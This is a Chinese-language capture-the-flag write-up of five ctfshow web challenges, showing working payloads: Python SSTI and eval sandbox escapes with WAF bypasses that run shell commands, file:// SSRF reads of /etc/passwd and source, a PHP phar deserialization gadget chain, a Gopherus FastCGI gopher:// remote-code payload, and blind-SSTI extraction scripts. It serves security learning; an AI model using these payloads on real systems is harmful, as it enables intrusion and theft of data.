【1024杯】web

文章目录

  • 1024_fastapi
    • 信息收集
    • SSTI
  • 1024_柏拉图
    • 信息收集
    • phar反序列化
  • 1024_WEB签到
  • 1024_图片代理
    • 信息收集
    • gopherus|fastcgi
  • 1024_hello_world
    • 信息收集
    • ssti盲注

1024_fastapi

信息收集

FastAPI 是一个高性能 Web 框架,用于构建 API。

主要特性:

快速:非常高的性能,与 NodeJS 和 Go 相当
快速编码:将功能开发速度提高约 200% 至 300%
更少的错误:减少约 40% 的人为错误
直观:强大的编辑器支持,自动补全无处不在,调试时间更少
简易:旨在易于使用和学习,减少阅读文档的时间。
简短:减少代码重复。
稳健:获取可用于生产环境的代码,具有自动交互式文档
基于标准:基于并完全兼容 API 的开放标准 OpenAPI 和 JSON Schema

Fastapi的交互式接口文档,访问docs和redoc

【1024杯】web_第1张图片

访问/cccalccc,可以post提交q参数

SSTI

经过尝试,需要直接输入参数才能解析

【1024杯】web_第2张图片

q=().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/etc/passwd').read()
{"res":"hack out!","err":false}

这里看出是python3的环境,而且还有waf需要绕过

找出被waf的关键词

popen

这里绕过一下

q=[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('env').read()

在env和.和/下面均没有发现flag,先尝试读取源码

q=[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('cat main.py').read()
{"res":"from typing import Optional\nfrom fastapi import FastAPI,Form\nimport uvicorn\n\napp = FastAPI()\n\[email protected](\"/\")\ndef hello():\n    return {\"hello\": \"fastapi\"}\n\[email protected](\"/cccalccc\",description=\"安全的计算器\")\ndef calc(q: Optional[str] = Form(...)):\n    try:\n        hint = \"flag is in /mnt/f1a9,try to read it\"\n        block_list = ['import','open','eval','exec']\n        for keyword in block_list:\n            if keyword in q:\n                return {\"res\": \"hack out!\", \"err\": False}\n        return {\"res\": eval(q), \"err\": False}\n    except:\n        return {\"res\": \"\", \"err\": True}\n\nif __name__ == '__main__':\n    uvicorn.run(app=app, host=\"0.0.0.0\", port=8000, workers=1)\n","err":false}

hint = “flag is in /mnt/f1a9,try to read it”\n

读取拿到flag

1024_柏拉图

信息收集

上传图片

GIF89a
<?php phpinfo();?>
------WebKitFormBoundaryQ93uD6QeIDyFS1HM
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryQ93uD6QeIDyFS1HM--

文件存储在: upload/scr.gif

查看upload/scr.gif,返回为

GIF89a
26

猜测通过输入伪协议的url来查看后端的源码,然后通过上传文件和查看文件来读取flag

尝试读取源码

/etc/passwd 没有回显
file:///etc/passwd 没有回显
php://filter/convert.BaSe64-eNcoDe/resource=/etc/passwd 被waf
fifilele:///etc/passwd 没有回显
fifile://le:///etc/passwd 回显成功,这里看来是双写绕过

这里猜测绝对路径进行读取

fifile://le:///var/www/html/index.php


error_reporting(0);
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-19 20:09:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 21:31:48
# @email: [email protected]
# @link: https://ctfer.com
*/
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    echo curl_exec($ch);
    curl_close($ch);
}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    $bad = 'file://';
    if(preg_match('/dict|127|localhost|sftp|Gopherus|http|\.\.\/|flag|[0-9]/is', $url,$match))
		{
			die('难道我不知道你在想什么?除非绕过我?!');
    }else{
      $url=str_replace($bad,"",$url);
      curl($url);
    }
}
?>

fifile://le:///var/www/html/upload.php


error_reporting(0);
if(isset($_FILES["file"])){
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {

    if (file_exists("upload/" . $_FILES["file"]["name"])){
      echo $_FILES["file"]["name"] . " 文件已经存在啦!";
    }else{
      move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" .$_FILES["file"]["name"]);
      echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
    }
}else{
      echo "这个文件我不喜欢,我喜欢一个gif的文件";
    }
}
?>

fifile://le:///var/www/html/readfile.php


error_reporting(0);
include('class.php');
function check($filename){  
    if (preg_match("/^phar|^smtp|^dict|^zip|file|etc|root|filter|\.\.\//i",$filename)){
        die("姿势太简单啦,来一点骚的?!");
    }else{
        return 0;
    }
}
if(isset($_GET['filename'])){
    $file=$_GET['filename'];
        if(strstr($file, "flag") || check($file) || strstr($file, "php")) {
            die("这么简单的获得不可能吧?!");
        }
        echo readfile($file);
}
?>

fifile://le:///var/www/html/unlink.php


error_reporting(0);
$file=$_GET['filename'];
function check($file){  
  if (preg_match("/\.\.\//i",$file)){
      die("你想干什么?!");
  }else{
      return $file;
  }
}
if(file_exists("upload/".$file)){
      if(unlink("upload/".check($file))){
          echo "删除".$file."成功!";
      }else{
          echo "删除".$file."失败!";
      }
}else{
    echo '要删除的文件不存在!';
}
?>

fifile://le:///var/www/html/class.php


error_reporting(0);
class A {
    public $a;
    public function __construct($a)
    {
        $this->a = $a;
    }
    public function __destruct()
    {
        echo "THI IS CTFSHOW".$this->a;
    }
}
class B {
    public $b;
    public function __construct($b)
    {
        $this->b = $b;
    }
    public function __toString()
    {
        return ($this->b)();
    }
}
class C{
    public $c;
    public function __construct($c)
    {
        $this->c = $c;
    }
    public function __invoke()
    {
        return eval($this->c);
    }
}
?>

phar反序列化

因为有readfile函数,我们可以配合phar来触发反序列化


error_reporting(0);
class A {
    public $a;
    public function __construct($a)
    {
        $this->a = $a;
    }
//    public function __destruct()
//    {
//        echo "THI IS CTFSHOW".$this->a;
//    }
}
class B {
    public $b;
    public function __construct($b)
    {
        $this->b = $b;
    }
    public function __toString()
    {
        return ($this->b)();
    }
}
class C{
    public $c;
    public function __construct($c)
    {
        $this->c = $c;
    }
    public function __invoke()
    {
        return eval($this->c);
    }
}
$a=new A('');
$b=new B('');
$c=new C('');
$c->c='system("ls /");';
$b->b=$c;
$a->a=$b;


@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a".""); //设置stub,增加gif文件头
$phar->setMetadata($a); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

将文件后缀修改为gif,上传,得到路径为upload/phar.gif,这里用绝对路径和相对路径都可以读取到

compress.zlib://phar:///var/www/html/upload/phar.gif

compress.zlib://phar://upload/phar.gif

bin ctfshow_1024_flag.txt dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var

将ls /改为cat /ctfshow_1024_flag.txt即可拿到flag

1024_WEB签到


error_reporting(0);
highlight_file(__FILE__);
call_user_func($_GET['f']);

只有一个传参位置,只能调用无需传参的函数

?f=phpinfo

在phpinfo里面找一找自定义函数。(查找关键词flag,ctfl,function等)

function:ctfshow_1024 support  enabled

1024_图片代理

信息收集

http://bd3e5731-b0c7-481f-90c0-855f5007206a.challenge.ctf.show/index.php?picurl=aHR0cDovL3AucWxvZ28uY24vZ2gvMzcyNjE5MDM4LzM3MjYxOTAzOC8w
对picurl进行base64解码得到图片的链接 http://p.qlogo.cn/gh/372619038/372619038/0
file:///etc/passwd
ZmlsZTovLy9ldGMvcGFzc3dk

回显成功,盲猜flag的路径/flag发现没有回显,查看指纹是nginx

查看配置文件 file:///etc/nginx/nginx.conf

include /etc/nginx/conf.d/*.conf;

查看自定义的配置文件中的default.conf file:///etc/nginx/conf.d/default.conf

    root         /var/www/bushihtml;
    index        index.php index.html;
    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;

gopherus|fastcgi

这里gopherus需要安装py2的pip2

sudo curl -o get-pip.py https://bootstrap.pypa.io/pip/2.7/get-pip.py
sudo python2 get-pip.py
gopherus --exploit fastcgi
/var/www/bushihtml/index.php
ls /

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%09%01%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1CSCRIPT_FILENAME/var/www/bushihtml/index.php%0D%01DOCUMENT_ROOT/%00%01%04%00%01%00%00%00%00%01%05%00%01%008%04%00%3C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

base64编码

Z29waGVyOi8vMTI3LjAuMC4xOjkwMDAvXyUwMSUwMSUwMCUwMSUwMCUwOCUwMCUwMCUwMCUwMSUwMCUwMCUwMCUwMCUwMCUwMCUwMSUwNCUwMCUwMSUwMSUwOSUwMSUwMCUwRiUxMFNFUlZFUl9TT0ZUV0FSRWdvJTIwLyUyMGZjZ2ljbGllbnQlMjAlMEIlMDlSRU1PVEVfQUREUjEyNy4wLjAuMSUwRiUwOFNFUlZFUl9QUk9UT0NPTEhUVFAvMS4xJTBFJTAyQ09OVEVOVF9MRU5HVEg1NiUwRSUwNFJFUVVFU1RfTUVUSE9EUE9TVCUwOUtQSFBfVkFMVUVhbGxvd191cmxfaW5jbHVkZSUyMCUzRCUyME9uJTBBZGlzYWJsZV9mdW5jdGlvbnMlMjAlM0QlMjAlMEFhdXRvX3ByZXBlbmRfZmlsZSUyMCUzRCUyMHBocCUzQS8vaW5wdXQlMEYlMUNTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9idXNoaWh0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDA4JTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3bHMlMjAvJTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw

拿到flag

1024_hello_world

信息收集

SSTI的绕过方法,参考

https://blog.csdn.net/miuzzx/article/details/110220425
https://www.cnblogs.com/20175211lyz/p/11425368.html

首先进行测试

key={{123}}	#

Hello,123!

key={123} #

Hello,{123}!

{{}}过滤了,这里难度在于判断是哪种模板,以及执行命令需要的绕过方式

过滤了的会报500 Internal Server Error

以jinja2为例

{% ... %} for Statements 
{{ ... }} for Expressions to print to the template output
{# ... #} for Comments not included in the template output
#  ... # for Line Statements

ssti盲注

寻找可以利用的模块

import requests
url = 'http://294fdcdb-60bd-4f69-8135-c22c1b7bc260.challenge.ctf.show/'
#
# payload = '{%if""["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()!=1%}wdnmd{%endif%}'
# data = {'key':payload}
# r = requests.post(url,data)
# print(r.text)

for i in range(1,200):
    payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()['+str(i)+']["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")!=1%}coleak{%endif%}'
    # real_payload = '"".__class__.__base__.__subclasses__()[?].__init__.__globals__["__builtins__"]["__import__"]("os")'
    data = {'key':payload}
    r = requests.post(url,data)
    if 'coleak' in r.text:
        print(i)
import requests
import string
abt = string.ascii_lowercase+string.digits+'-_{}'
url = 'http://294fdcdb-60bd-4f69-8135-c22c1b7bc260.challenge.ctf.show/'
cmd = 'ls /'
ans = ''
for i in range(0,80):
    for le in abt:
        payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("'+cmd+'")["read"]()['+str(i)+']=="'+le+'"%}coleak{%endif%}'
        data = {'key':payload}
        r = requests.post(url,data)
        if 'coleak' in r.text:
            ans += le
            print('ans = '+ans)
            break
import requests
import string
abt = string.ascii_lowercase+string.digits+'-_{}'
url = 'http://294fdcdb-60bd-4f69-8135-c22c1b7bc260.challenge.ctf.show/'
cmd = 'cat /ctf*'
ans = ''
for i in range(0,80):
    for le in abt:
        payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("'+cmd+'")["read"]()['+str(i)+']=="'+le+'"%}coleak{%endif%}'
        data = {'key':payload}
        r = requests.post(url,data)
        if 'coleak' in r.text:
            ans += le
            print('ans = '+ans)
            break

你可能感兴趣的:(#,web安全,json,php,网络安全,安全,web安全)